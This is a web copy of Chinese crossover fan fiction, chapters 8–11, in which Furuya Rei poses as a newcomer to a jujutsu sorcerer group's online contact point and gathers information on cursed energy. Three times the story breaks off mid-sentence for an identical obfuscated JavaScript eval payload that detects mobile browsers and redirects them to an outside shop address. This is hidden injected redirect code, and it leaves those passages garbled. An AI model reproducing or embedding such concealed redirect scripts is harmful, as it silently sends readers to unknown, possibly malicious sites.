可这可能吗?谁走私会走私手指和脑子啊?离大谱了好吗!而且这种程度的危机,也不至于需要长达二十年的时间去准备吧! 当时的降谷零百思不得其解,他世界的世界意识也很不满:【搞什么啊!你就只透漏这些吗?这和什么都没说有什么两样!你根本不坦诚!零,我们不干了!】 听到罢工宣言,这个世界的世界意识也不着急,祂没有直接回应,反而问了一个看上去毫不相关的问题:[你们知道俄狄浦斯的故事吗?] “是一个‘为了躲避预言,反而促成了预言’的故事。”降谷零明白了对方的未尽之言。 8. 第 8 章 [这就是我不能多说的原因,虽然降谷零先生现在不在原本的命运线中,但以身入局后就不一定了。] 顿了顿,这个世界的世界意识安慰他们:[不过你们不用担心,除了我提醒的部分,其他都不重要,进入世界久了就自然而然知道了。] 降谷零对此不做评价,什么叫自然而然就知道了?自然而然可以是平淡无波的,也可以是危机四伏的,这话他还是只听听就好,不然掉坑里就晚了。 只是降谷零没有想到这个“自然而然”居然来的这么快。 是了,遇见这种生物就知道有这种生物存在了,自然而然,没毛病。 就是过程实在让人很一言难尽。 因为降谷零一开始没进入世界的时候,以为所谓的“死亡乐园”是普拉米亚配合器.官.贩.子搞的恐.怖.袭.击。 结果他进入世界后发现这里不是他世界的平行世界,所以大概率不会有普拉米亚。 然后降谷零又以为是其他类似的大范围的恶性事件,比如让人恨不得一键清零的邪.教之类的,如果是这种类似组织的毒瘤,那确实值得二十年的提前布局。 结果就在降谷零摩拳擦掌,计算着怎么痛打异世界酒厂的时候,他在这里遇见了魔法生物。 搞没搞错啊!!! 这种世界特产怎么能归在“不重要”的部分里啊?! 感觉被坑了个彻底的降谷零第一次想要直接撂挑子不干。 ——当然,为了回家,他还是很快地劝好了自己,重头开始计划。 就是……如果不能用常规方法,那么在作为一个麻瓜、收不到猫头鹰的邀请函前提下,他要怎么收集另一侧的情报? 想了想,降谷零决定逆转思路和方法,开始在各种论坛和聊天室里发布求助信息。 从正常的“你们谁看见过长相奇特的生物?”到不太聪明的“时隔多年后,我终于遇见了来自魔法学院的信使吗!”再到危言耸听的“这个世界是有诅咒的!我们都会死!” 主打一个广撒网。 为了防止漏看信息,降谷零甚至没有借助任何外力,亲自一条一条确认消息内容。 可惜,回复他的都是些沙雕网友。 内容从“是的,我见过深渊巨兽[纯黑色猫咪的奇怪姿势.jpg]”,到“哟,是新生吗?学姐这里有一本入学必看手册[魔法学院指南.pdf]”,再到“是真的,我是诅咒之王,现在给我打款我帮你免除诅咒”。 降谷零:。 挺好的,虽然不太理解,但能看得出来他们都是幸福快乐的样子,就是苦了需要筛查信息的自己。 其实降谷零也不确定会不会有年龄小的魔法师按捺不住炫耀的心情,给他透漏一二,但反正他现在也没有别的办法了,碰运气吧。 就这样,降谷零抱着这种心态,每天翻着这些乱七八糟的留言,期待着能出现关键线索。 终于,功夫不负有心人,在蹲了近两周后,有个人私信了他,留言就是之前那两句话。 私信发过来的时候降谷零正巧在上课,等他看见信息有空回复的时候,已经无法发送消息了,点进对方主页,页面显示“该账号已注销”。 可疑,有种诈骗的感觉。 这是降谷零第一个印象。 但万一这就是线索呢?薛定谔的盒子在打开前,谁知道里面的猫到底是什么状态? 于是降谷零只犹豫了一瞬就打算进去看看。 结果…… 好消息:网址是有效网址,能点进去,也能浏览,且没有病毒。 坏消息:网站是无关网站,在网站里面没发现任何能和那个奇特生物联系上的内容。 当然,这是降谷零一开始的观点。 现在降谷零觉得这个网站说不定就是他调查的一个关键突破点,因为网站的名字是“厌丑症”,而那个生物就挺丑的。 抱歉,他不是在外貌攻击,只是在陈述事实。 在心里稍微说声对不起后,降谷零检查了一遍后台运行的安全程序,回到网页,点击发帖按键,敲下一行字。 【谁都好!有看不见的存在一直在跟着我!帮帮我!】 发送。 确定帖子出现在首页后,降谷零重新刷新页面,发现帖子消失了,同时,系统提示有人给他发私信。 降谷零点进去,对面的昵称是风使,头像是黑白水墨风的兔子。 【风使:咨询五十万日元一次,后续业务看内容价钱各异。】 五十万?还只是个咨询费?降谷零眉梢扬起。 【Z:钱好商量,你确定能解决吗?】 【风使:先转钱。】 【风使:银行卡号.jpg】 降谷零眯了眯眼,再度开始怀疑自己遇见了诈骗。 但诈骗会像这样什么都不说就直接要钱吗?还是说对方就是抓准了这种心理,在反其道而行? 指尖轻点键盘,降谷零思考着要不要“投钱问路”。 嗯……真是一个难以抉择的问题,钱他倒是有,而且还不少。 但是吧……他现在是个小孩子,没办法去赚钱,所以手头的钱是他在能打工前的所有资产,用完就没有了,而现在只是一个咨询费就五十万…… 降谷零看了聊天框半晌,最终决定先照做,看看能咨询出个什么东西。他对照卡号,用临时账户将钱转了过去,并发消息提示对方。 对方回复得很快。 【风使:收到了。说吧,发生了什么事?能多具体就多具体,别隐瞒任何部分,不然你的小命就不保了。】 嗯?为什么风使一下子就认定自己遇见的事情是“危及性命的”?这会是统一的模板套路吗? 想了想,降谷零将自己遇见那个生物的经过改了改发过去,特意强调了那个生物的样貌。 他设想了很多种对面可能有的回复,但没一个是风使的反应。 【风使:……】 【风使:希望之手?】 希望之手?那是什么? 意料之外的回复让降谷零皱起眉头,他拿不定接下来要怎么回复才不会显得奇怪。 幸好,对方的回复先来了。 【风使:行了行了,我知道了,你是希望之手介绍来的新人吧?】 【风使:别演那个剧本了,每次都是蝇头,她也不嫌腻。】 【风使:我们直接进入正题。】 【风使:等下我会发给你一个登记表,你填完后了发给我就行。】 【风使:除此之外,我还会发过去一些文件,都是你需要了解的基础信息,看完有不懂的直接来问我。】 接着,风使就发过来一串东西,文件名有登记表、咒力、咒灵、术式等等。 降谷零不敢置信地看着聊天框。 从风使说出“介绍”起,降谷零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048658|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就知道对方绝对是因为某个原因产生了误会,而接下来的发展也验证了这一点。 本来降谷零以为之后还要顺着对方的话演一番才能得到新线索,他都做好拉扯的准备了,没想到对方直接发来了文件包,一整个情报大放送。 降谷零一下子懵了,怎么回事?这流程不对吧?还是说这些文件包里有什么病毒? 想到这种可能,降谷零打起十二万分精神,把能装上的防护都安装好,又把这台电脑的网络隔离起来,做好这一切他才准备接受文件。 在点击下载按钮前,降谷零还是有些忐忑:虽然他占了后世科技的优势,但说实话他的计算机技术不是特别好,也不知道能不能拦住病毒。 然而等文件都下载完了,也被打开了,甚至被浏览了好一会儿,电脑仍然无事发生。 降谷零不信邪地将电脑翻来覆去检查了好几遍,才不得不承认这些文件是安全的,是他想多了。 降谷零盯着电脑有些沉默,这一切居然是真实发生的吗? 他的视线落在此时打开的文件上。 里面通篇都是干货,难以理解的部分甚至还有插图解释,简直再贴心不过了。 再看看风使承诺自愿答疑解惑的聊天框,降谷零忽然有种不真实的幸福感—— 搞情报这么久,他还是头一次中这种程度的彩票,简直可以计入他的情报史册! 风使可真是一个大好人啊! 降谷零快乐地投入新知识的海洋,并在半个小时后发了两个文档给风使。 网络对面的风使:? 【风使:其中一个表格是我要求的,另一个是什么?】 【Z:是想要咨询前辈的问题。】 【风使:?】 【风使:这么大的文件?】 【风使:你认真的?】 【Z:拜托您了!】 【风使:……】 【风使:好的。】 某处,同样对着屏幕的一个年轻男人按了按太阳穴:“真是的,这个新人怎么回事,文件里都讲得这么清楚了,怎么还会有这么多问题?他真的仔细看文件了吗?” 退出和Z的聊天框,风使点开备注是希望之手的聊天框。 【风使:在?】 【风使:你从哪里找来的人?真的靠谱吗?】 “……” 【风使:Hello?】 “……” 【风使:行吧,看来不在。】 【风使:休息时回一下信息。】 风使退出聊天框,认命地接收对方的文件,准备开始答疑,结果一打开文件,他傻眼了。 这都是些什么问题啊?! “为什么负面情绪可以成为咒力源而正面情绪不行”、“咒力使用的门槛可以被打破吗”、“咒力总量大小的影响因素有哪些”…… 鼠标的滚轮一路滑下去,直到滚到底,风使愣是没挑出一个能回答的问题。 他下意识看了一眼页数统计。 好家伙,十六页! 原本以为Z和之前那些不看文件就跑来问问题的人是一类,他只要从已经发给Z的文件里复制粘贴就能应付,结果…… 风使捂住脸叹气,这似曾相识的场面真是令人绝望。 他又点开一个备注是凿光人的聊天框,将文档截图发过去。 【风使:想必你们一定很聊得来。】 9. 第 9 章 等了等,没有回复,风使拿出手机拨出一个号码。 “嘟——嘟——嘟——” 漫长的提示音后,电话响起无人接听的忙音,风使习以为常地再次拨出。 “嘟——嘟——嘟——” 再次响起忙音,再次拨出。 “嘟——嘟——嘟——” 终于,在第三遍忙音响起前,电话被接通,对面传来一个沙哑男声:“有事快说,我在忙。” 风使简洁明了:“看消息。” “什么啊……” 一个宽敞明亮、摆满各种研究器材的房间内,穿着实验服的男人嘟囔着转身去找电脑。 一阵窸窸窣窣的动静后,又响起拉椅子和敲键盘的声音,再一会儿,风使如愿听见一声惊讶的感叹。 “哦豁!” 凿光人兴致缺缺的表情瞬间消失,他坐直语气激动地问:“什么情况?这是谁整理的?这么系统,绝对是个做研究的好苗子!快把联系方式给我!对了,怎么就只截了图?剩下的部分呢?我要看剩下的部分!” “你冷静点。”风使给他泼了一盆冷水,“是个新人,还在考核期,等结束了再说,规矩你知道的。” “……啧。”凿光人立刻靠回椅子上,恢复成原先半死不活的样子,“那你联系我干什么?我还以为你来给我送人了呢。” 风使也不在意他语气里的嫌弃,重新把文档拉到第一页:“我是想起来,当初你问我的问题和这相比也差不远了,所以就来问问,你能不能给新人答疑这些。” 凿光人沉默一瞬,怀疑对面在故意报复他:“……老板,你未免也太瞧得起我了吧?” 风使语气诧异:“你怎么这么说?我当然瞧得起你啊,你可是我们的中坚力量。而且我可是诚心来咨询你的,你不会不管吧?” 凿光人噎了一下,心中的怀疑从百分之二十涨到百分之五十:“老板,我们一开始说好的就是优先实用性,所以我完全没有涉足过理论,这两者在咒术界相关的领域可以说是天差地别——至少在我看来是天差地别。” “举个最简单的例子。如果是应用研究,那么我只需要用机器解析咒具,分析出能容纳咒力的具体成分是什么,对比选出最能和咒力兼容的材料,然后专门找这种材料做咒具就可以。” “但如果是理论研究,我就要去解释为什么这种成分能容纳咒力,而另一种不行;又为什么这种材料最能兼容,而其他的却没它好。” “诚然,在搞应用研究的时候确实会出现一些理论成果,但那都不成体系,应付应付一般人可以,对能问这种问题的人就完全不行了,只要对方多追问一句就会歇菜。” “一点儿都不行?”风使将文档发过去,“我把完整的文档发给你看看,你看完再说。尤其是咒具那部分,你不是正好在研究咒具吗?你看看那部分能不能答疑。” 凿光人:…… 老板发话,凿光人只能认下任务,不过他自己也挺好奇这个新人会问哪些问题的。 “稍等,我下载一下,很快就好。”凿光人打开免提,把桌子上的杂物推开,给手机腾了块地方,然后点开文件。 整篇文档的页数确实多,但每行其实没几个字,他用看文献练出来的眼速快速阅读,只在咒具的部分稍微放缓了些。 鼠标滚轮的声音不断通过听筒传来,风使将手机拿远了些,估算着对面阅读的进度。 半晌,凿光人再次开口:“嗯……个别问题确实略有了解,但也只是略有了解,关键问题还是刚刚说的那个,所以不行。” “还是不行吗?你再努力努力呢?”电话另一头的风使掩唇,声音不变,但语气轻快。 凿光人抓了抓头发,确定了风使就是在故意报复他。 这人也忒记仇! 但这是大老板,凿光人还是配合着假装不知道:“真的不行,老板。努力也不是这样努力的,除非我原地转去研究理论。” 听见这话,风使似乎放弃了,遗憾叹气:“这样啊……好吧,我知道了。” 凿光人勉强松了口气,虽然知道风使不是那种人,但他还是很担心自己这个老板忽然想不开,找借口强行让他半路转行。 话又说回来,风使这么轻易收手,那当年那事是过没过去了? 凿光人想了想,没想明白。 他伸了个懒腰,转了半圈椅子,毫不掩饰目的,直接问:“话又说回来,你这次怎么这么执着答疑这些问题?” 听出凿光人的无语,风使的唇角再也压不住,他眨眨眼忍住笑声:“唔,多少抱着些一雪前耻的目的吧,难道你就不想弥补当初的遗憾吗?” 风使将文档关掉,起身活动了一下,走向窗边:“我记得可清楚了,当时接引你的时候的事情。” “作为出生咒术家族的人,在咒术的事情上,我怎么也算是个专家吧?所以当时我理所当然地认为:区区答疑,易如反掌。却没想到——” 说到这,风使轻叹:“却没想到我一个从小接触术式的人,在自己的专业领域,被你这个外行人——还是普通人——从意想不到的角度问到哑口无言。” “震惊、意外、不可置信……当然,还有羞恼。那时的这些感觉我这辈子都忘不掉的。” 不过更加深刻的印象是崩溃——被凿光人这家伙问问题问到最后的崩溃。 风使默默在心里心有余悸地补充了一句。 当年凿光人在知道咒术界的事情后,撵着风使,用打破砂锅问到底的方式追问了各种各样的问题。 风使尽职尽责,很努力地挖掘了自己的大脑,把知道的都说了,不知道的也尽力凭自己的理解给他解释了,结果…… 结果! 结!果! 凿光人对他的所有回答都不满意,还横挑鼻子竖挑眼的,甚至反客为主,把风使训了一顿,说这种水平放到他原来在的研究所里是要被直接开除的。 风使:…… 风使:努力保持微笑,但倍感疲惫.JPG 还是风使:真想直接上手堵住他的嘴(咬牙切齿)。 唯一令风使感到安慰的是,凿光人并不是在针对他一个人,而是平等地炮轰了咒术界的所有人。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048659|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说咒术界白瞎那么久的历史,到现在都没把自己的领域研究清楚,连最基本的部分都只知其然,不知其所以然,很难不觉得咒术界光在过日子,不带脑子。 风使……风使其实想给大家辩解几句的,比如,日本从开民智起到现在为止也就百年左右,没有思想解放,科学研究的发展不会这么快,毕竟往前算,有能力从事科学研究的只有那一小撮人; 又比如,在差不多自成一国的封闭的咒术界,民智开启得还要更晚、更艰难,觉醒者光和传统对抗就费劲巴力的,更别提进行科学研究了; 再比如,哪怕现在咒术界的大环境比起以前要好了不少,但整体仍被把持在大家族手里,而那些掌权者哪怕明白大势不可挡,也会尽全力推迟事情的发生。 或者退一步讲,就算一群既得利益者中,破天荒的出了一个愿意打破一切、带头革新的怪胎,可其他既得利益者又不是等着被攻击的傻子,掌握着绝对武装力量的他们一定会全力针对这个另类,然后…… 然后就没有然后了,毕竟世界上绝大多数人都是会害怕杀鸡的那只猴。 还有很多比如,但比如了这么多,风使的核心思想就是:真的不能怪我们菜,是大环境不允许啊。 不过风使不敢直接说出来,因为凿光人的攻击性过强了,他还是保持安静比较好。 于是最后就是这样一副场景:凿光人在噼里啪啦地输出,风使则八风不动地听他说。 表面看上去风使人还在原地,其实魂已经走了好一阵了,只保留了基本的回复程序,还是只会附和版。 ——这也是风使现在很执着让凿光人帮忙答疑的原因,因为真的很难忍住不让凿光人自己体会一下他的难缠。 ——但风使又担心,已经见过咒术界还能更低的下限的凿光人跳过一切程序,以“问这么多,你干脆亲自研究好了”为理由,直接将新人拐跑。 不是风使夸张,凿光人是真的能干出来这种事。 想当初凿光人眼光多挑啊,结果现在在咒术界待久了,天天都喊着让他曾经看不上水平的风使进实验组,甚至不止是说说,而是付诸了实践。 有一次,凿光人十万火急地给风使打电话,言语间颇有一种世界末日的感觉,风使以为实验组出事了,急忙赶过去,他都做好目睹惨状的准备了,结果到那边才知道他们缺能输出咒力的人了。 风使:? 然后自己送货上门的风使就被凿光人扣住。 再然后,被榨干咒力的风使坐在凿光人的工位上,第一次发火,把人狠狠骂了一顿。 凿光人不得不连连保证“不会再故意用模棱两可的说法打电话让别人担心”,风使看在他定下束缚的份上放过了他。 见风使气过了,凿光人笑嘻嘻地端了一杯水,恭敬地呈给风使:“老板,你骂累了吧?不如我带你看看实验,放松放松。” 风使一眼就看出他醉翁之意不在酒,接过水润润喉,睨了他一眼:“有事说事。” 凿光人摸摸鼻子:“那什么,可能需要老板你稍微帮一点点忙。”他用拇指和食指比划了一个距离。 10. 第 10 章 一点点? 是读作“一点点”,写作“亿点点”! 风使万万没想到,他在刚缓过来后,就立刻被凿光人拉去做实验助理,然后到天黑都没被放过! 不久前才骂完人的风使火气又唰的一下蹿上来,直接撂挑子不干了,头也不回的就准备走。 凿光人当然不肯,一个跪滑紧紧抱住风使的腰:“老板!真的只剩收尾了!你信我,这次是真收尾!” 风使额头的青筋直跳:“我信你个鬼!你三个小时前就说是收尾!给我放手!” “我不放!”凿光人被拖的跪在地上都没松手,“老板,做事情要有始有终啊!” “明天再做也是有始有终!你给我放手!我的腰带要松了!” 风使扯住自己的和服,感觉自己多年来的修养都喂了狗,根本克制不住打人的欲望:“你都三十多的人了,还是组长,能不能成熟点!” “实验的事情能那么算吗?”凿光人义正言辞,“为了实验,我可以!” 风使提高声音:“我不可以!我明天还有其他事情!你经费想不想要了!” “那还是要的。但老板你不是那种随便扣经费的人,所以这个威胁没用。”凿光人笑得无所畏惧。 风使都气笑了:“我真是谢谢你的信任!” 凿光人这家伙但凡达不成目的就无赖上身,经费、实验用品、人手……反正盯上的就一定要拿到手里,不然就撒泼打滚,风使每次都被折腾的头疼。 偏偏凿光人是个脆皮,打害怕打坏,骂又不管用,简直是养了个活祖宗! 看着挂在自己身上的人,风使深深地吸口气:“你到底要干什么?给我站起来说,不过分我都可以同意。” 凿光人观察着风使的表情,见他没开玩笑,立刻爬起来,给风使整理被他弄乱的和服:“也没什么,就是希望老板你能多来几趟。” “就这?”风使没好气地扫开凿光人的手,自己整理衣服,“你们组里不是有轮班的术士吗?” “嗐,那不是出身都不太好吗。”凿光人摊手,“都是小家族的旁支,接受的教育有限,能有现在的知识储备还是组织教出来的,也就能当工具人用。” “好好说话,什么工具人。”风使用折扇不轻不重地敲了一下凿光人,然后沉吟道,“关于知识共享这件事,我们已经在试着收集更多资料了,不过……” 凿光人揉了揉被敲的额头:“大家族是吧?啧。” 风使摇头:“那边的事情急不来。” 他用折扇敲着掌心,换了话题:“你让我来,是想参考我对咒术相关的了解和推测,拓宽实验思路?” 凿光人连连点头,竖起大拇指:“知我者,老板也。” 风使失笑:“都什么乱七八糟的。” 不过这个要求很合理,所以风使答应了。 然后没多久,风使就在某一次来帮忙时,听见凿光人暴言想蹲在路上随机薅路人去实验组: “只要薅得多,瞎猫总能碰到死耗子,让我捡到天才术士!” “等我组成术士大军,我一定要去把御三家掀翻!” “把他们的老宅改成实验室!” “然后将所有资源都投进实验室!” “还要把咒术界的所有术士都抓来给我打工!” 刚进门的风使:? 风使扭头问凿光人的生活助理:“他多久没睡了?” 盘着头,着装干练的女性苦着脸:“快四天了。研究卡住了,组长就稍微……我们都劝了,但全让组长骂回来了。” 切身体验过凿光人嘴的功力的风使:。 风使头疼地按住眉心,看着还在嘚啵嘚啵做白日梦的凿光人倍感心累。 “老板,你看要怎——”助理还想说话,就被敏锐捕捉到“老板”这个关键词的凿光人一个大回头吓得咽回去。 凿光人歘地蹿到风使身边,夺过话头:“老板!你来得正好,你觉得我们组建术士大军先从学校蹲起怎么样?” “学校人多,还都处在觉醒能力的年龄段,正是最好的人才储备处啊!” “我们应该在学校常设咒力咒术测试点!” 凿光人越说越觉得可行,当即就要拉着风使出门大干一场。 风使:…… 风使眼疾手快地一掌将凿光人劈晕,在他倒地前捞住,然后亲自送回房间。 看着凿光人眼下的青黑,风使接过助理之前的话:“你刚是想问怎么办?我来告诉你,不怎么办。” 他指着床上的人:“看见没?以后不按时作息就按我刚刚的方法来,直接敲晕。” 生活助理:。 “好的,老板。” …… 除了撞在风使手里的这两次,凿光人还干出过其他拐人或者试图拐人的事情,战绩历历在目。 所以为了新人着想,还是不要把被咒术界的艰苦条件逼急了的凿光人放出去了吧,风使觉得自己也不是那么有报复心的人。 可惜了,没能让凿光人也被折腾一下,风使心下惋惜。 思绪流转不过几秒,风使收回注意力。 “那我真是荣幸。”得知原委的凿光人哼笑一声,手中转着不知从哪个角落摸出来的笔,“至于所谓的遗憾……你是指问了问题,却没有得到答案的遗憾吗?对我这种研究人员来说,那算不上是遗憾,因为我只会把它们变成我的课题目标。” 顿了顿,凿光人取消外放,重新将手机放回耳边:“而且,将自己曾经尚未得到满足的需求和情感投射到他人身上,以此来安慰自己,这在我看来是一种愚蠢的行为,反之亦然。” “——将他人曾经尚未得到满足的需求和情感投射到自己身上,以此来束缚自己,也很愚蠢。” “老板,我们每个人,都只是自己罢了。”凿光人说话依旧给人一种吊儿郎当的感觉,仿佛在随口闲聊。 但风使嘴角的笑容却顿住了。 呼吸间,通话安静一刻,白炽灯下的电流嗡嗡作响。 凿光人似乎没有察觉,拖长声音:“老板——?” “……” 风使眼睫轻颤,语调不变:“怎么忽然说这个?” 凿光人指间灵活游走的笔不慎撞在掌心,他垂下眼睑看了一眼,将其抛回到桌子上,与键盘相撞发出清脆的响声:“有感而发罢了。” “这倒是不像你。”风使调侃,“你不是会说这种人生感慨的人。” “嘛,大概是因为到了晚上,褪黑素分泌增加,情绪上头吧?谁知道呢。”凿光人耸耸肩,又打了个哈欠,“你还有事吗?没事我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048660|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去忙了。” “没什么事了,你去忙吧。时间不早了,注意按时休息。”风使温声叮嘱。 “我尽量。”凿光人随口敷衍。 风使带着笑意:“嗯?” 脖子忽然开始幻疼的凿光人:…… 凿光人一个激灵坐直:“咳!我是说,我一定!一定!” “对了,那个新人!记得把那个新人留给我们研究组!拜拜!”凿光人赶在风使唠叨前,迅速强调完想强调的事情,然后啪地挂了电话。 风使:…… 他看了看手机,有些好笑:“跑得倒快,是不是忘了我有他生活助理的联系方式,他跑得了和尚跑不了庙?” “唔,回头再多强调一下实验组那边的生活习惯吧,重点盯一下凿光人。现在先去回复新人吧。” 风使重新坐到电脑前,点开Z的聊天框。 …… “叮——叮——” 两声清脆的提示音接连响起,回声荡到外面的仓库,正在拾报纸的降谷零顿住,看向隔间的方向。 搞情报工作会有很多“顺势而为”,之前风使提起的希望之手的时候,降谷零就是在顺势而为。 这个方法很好用,但与之相对的是暴露后的风险和危机。 降谷零估算过风使的打字速度,在对面的回复时间超过输入聊天框最大字数需要的时间时,降谷零就做好了最糟糕的打算,即:自己演戏空手套白狼的事情暴露了。 通过之前和风使的短暂交流,降谷零推测出这个“厌丑症”是一个小有规模的组织的线上联络点。 如果是一般的组织,降谷零有把握能在骗一票后在追击中全身而退,但偏偏风使他们是非科学的能力者,降谷零就没那么有把握了。 所以在风使聊天中断后,降谷零当机立断,立刻收拾东西准备跑路。 因为不知道风使他们会有些什么稀奇古怪的寻人方法,降谷零只能尽全力扫尾,同时祈祷自己运气好点,别翻车得太快。 按降谷零目前了解到的内容来看,想要用非科学的方法追踪,至少要有和目标有关的东西,血液最好,毛发次之,物品排最后。 降谷零没受伤,血液是不可能有的,他又戴着假发和两层帽子,毛发也很难有,最有可能的就是物品。 但这里是降谷零特意找的据点,里面和他有关的东西只有他自己带来的,所以他背上包就可以跑。 唯一需要收拾的,就只有各处散乱的报纸。 仓库被废弃了有段时间,里面到处都是灰尘,为了避免吃土,降谷零找了报纸铺在地上。 这么做还有一个原因:避免留下过于清晰的脚印——鞋套是另一层保险。 原本降谷零是不需要管这些报纸的,当初为了能随时废弃这个据点而不留下过多线索,他特意根据灰尘厚度倒推仓库废弃的时间,找了差不多年份的报纸,在铺的时候还故意弄成凌乱的样子,假装是当年搬迁时的混乱导致的。 如果是普通人,被糊弄过去的概率极大;就算没糊弄过去,也不会查到降谷零。 但如果是所谓的术士就悬了,所以降谷零要把这些东西回收。 只是没想到他还没收拾几张报纸,消息就先来了。 会是什么内容?是追究?还是警告?或者是其他? 11. 第 11 章 降谷零重新回到隔间。电脑被他放在办公桌下还没收起来,其中有几分赌无事发生的成分。 降谷零蹲下查看消息。 【风使:你好,还在吗?】 【风使:你的问题我看过了,很抱歉,我没法回答你。】 降谷零挑眉,看上去似乎赌赢了?还是说这是在拖延时间,从而找他的鱼饵? 降谷零犹疑一瞬,重新坐下,快速打字。 【Z:请问为什么?】 看见对方回复得这么快,风使就知道Z一直在等消息,他再度拉高了警戒值。 无他,从看到Z发来的文档后,风使就有一种既视感,现在再看这种执着的态度,他觉得自己又撞到奖的概率大大上升了。 唉,可惜不能把人丢给凿光人。 风使迅速推测着在不失礼貌的前提下避开被缠上的风险,结果发现可能性很低。 风使:…… 算了,该来的总会来的,就这样吧。 【风使:简单来说,咒术师主要靠实操,理论是不怎么重要的部分,大概了解就行。】 曾经理论和实操都是双优的降谷零:……啊?认真的吗?果然这是在拖延? 不确定,再试试。 【Z:理论不扎实,怎么实操?】 来了来了,他带着他的……呃,辩论!他带着他的辩论来了! 风使严阵以待,不断祈祷这次的结局不要那么惨烈。 【风使:咒力咒术和你平时学的那些东西不一样,基本不需要你从外学习、吸收、化为己用,然后才能向外表现出来。】 【风使:它们是你天生就有的东西。】 【风使:举个不那么恰当的例子:咒力就像是身体内的器官,每个人都有,且依靠它们的自动运转活着,并不用先了解它们都长在哪里、是什么构造、怎样维持生命体征。】 【风使:咒术则是你身体的潜力,能否激发、什么时候激发、怎样激发都看个人运气。比如有的人天生过目不忘,有的人哪怕经过系统训练也记不了多少,还有的人在受重大刺激后忽然就有了记忆的天赋。】 【风使:再举个不那么恰当的例子:觉醒能力就像是当所有人都有两只眼睛,但只能使用其中一只时,你可以使用第二只眼睛。】 【风使:至于说认为实操大于理论,其中最主要的原因是咒术界危机环绕,实力才是根本。而研究理论从概率上来讲有助于实力增长的可能性有,但很低,得不偿失。】 【风使:我这样解释你能理解吗?】 【Z:能理解,您的解释通俗易懂,非常感谢。】 【Z:这样看来,我目前的首要目标就是提升我的实力对吧?请问您有什么建议吗?】 【风使:这个看你自己的具体情况。】 【风使:看完资料,你应该差不多了解咒术咒力相关的事情了,那么你是哪一类?是有术式的?还是只有咒力的?或者普通人?】 【风使:对了,你再填一下这个表。】 【风使:登记表2.doc】 之前的文件没有问题,但在风使消失一段时间后的这个文件就不一定了,谨慎起见,降谷零没有下载,而是将目光放在风使之前的问题上。 他是哪一类人? 降谷零皱眉,这个问题他还真没想过。 正常来说他应该是普通人,但之前在未经历生死危机的时候,他就看得见蝇头,所以他应该是有咒力的,保底也是辅助监督那类,至于再进一步,那还真不好说。 不过从逻辑来推的话,如果二十年后的悲剧真的是非科学侧导致的,那只要不是完全的睁眼瞎就有操作的余地,他现在的情况刚刚够,所以降谷零不清楚世界意识会不会给他开—— 等等。 他能看见蝇头,应该是世界意识已经给他开过挂了吧?不然他一个普通人,应该不会换一个世界就自动有了超能力? 那么世界意识是什么时候操作的?为什么没说?还有…… 降谷零眉头紧皱,目光沉沉地看向自己的掌心。 “叮——” 消息提示音打断降谷零的思路,他抬头看向屏幕。 【风使:你先填表,趁这时间我简单给你说些通用方法。】 【风使:最简单的就是锻炼身体,不论是哪一类情况,身体素质好都有利无害,最差也能逃跑,把命保住是最重要的。】 这点降谷零认同,由于他身体缩水了,身体状态也一键清零了,所以他从一开始到这个世界就在做锻炼。 再看聊天框,风使陆陆续续发了很多锻炼的方法,按降谷零的经验,确实都是科学健康的方法,风使在这方面没有故意糊弄人,降谷零觉得自己暴露的可能性又降低了些。 【Z:好的,非常感谢您的建议,我从今天开始就会严格锻炼,先把身体素质练上来。】 【风使:不错,重要的是坚持。】 【风使:有条件你还可以买个咒具,没有使用门槛,多多少少算是一种保险。】 【风使:不用强求高等级咒具,那都是可遇不可求的。低级的就可以,像是各种能用来攻击的刀具,不过你要先确保自己能够灵活使用。除此之外,能多备几个防具更好。】 【风使:我建议多学点格斗技巧,其中闪避能力最重要,还是那句老话,先把命保住。】 接下来风使叮叮咚咚地发来许多消息,全是普通人也能用的,每一条看上去都尽心尽力,降谷零再度把暴露的可能性下调。 【风使:差不多就这些吧,都是基础,你可以从这些开始。】 【Z:好的,非常感谢您,我会认真学习的。】 【Z:刚刚都在看您发来的东西了,记下来也需要一些时间,表格我大概会晚点给您。】 【风使:没事,可以。】 降谷零眨眨眼,看来自己是真的没有暴露?他低头看了眼之前准备要收拾的报纸,觉得自己暂时可以不管它们了。 唔,那计划可以调整一下了。 现在不需要完全撤离,可以先冷处理几天,然后看看后续风使他们的反应。 观察的时常……就定个一周好了,正好是下周五,他不用协调上课的时间。 当然,也要做好被追究的预案,所以要留下一点方便跑路的空间。 降谷零退出聊天,叉掉网页,又将记录清理掉,在检查电脑里没多出不该有的东西后,他把电脑装起来背上。 接着,降谷零将之前已经收走的报纸原模原样地放回去,退到仓库大门附近。 他侧耳倾听片 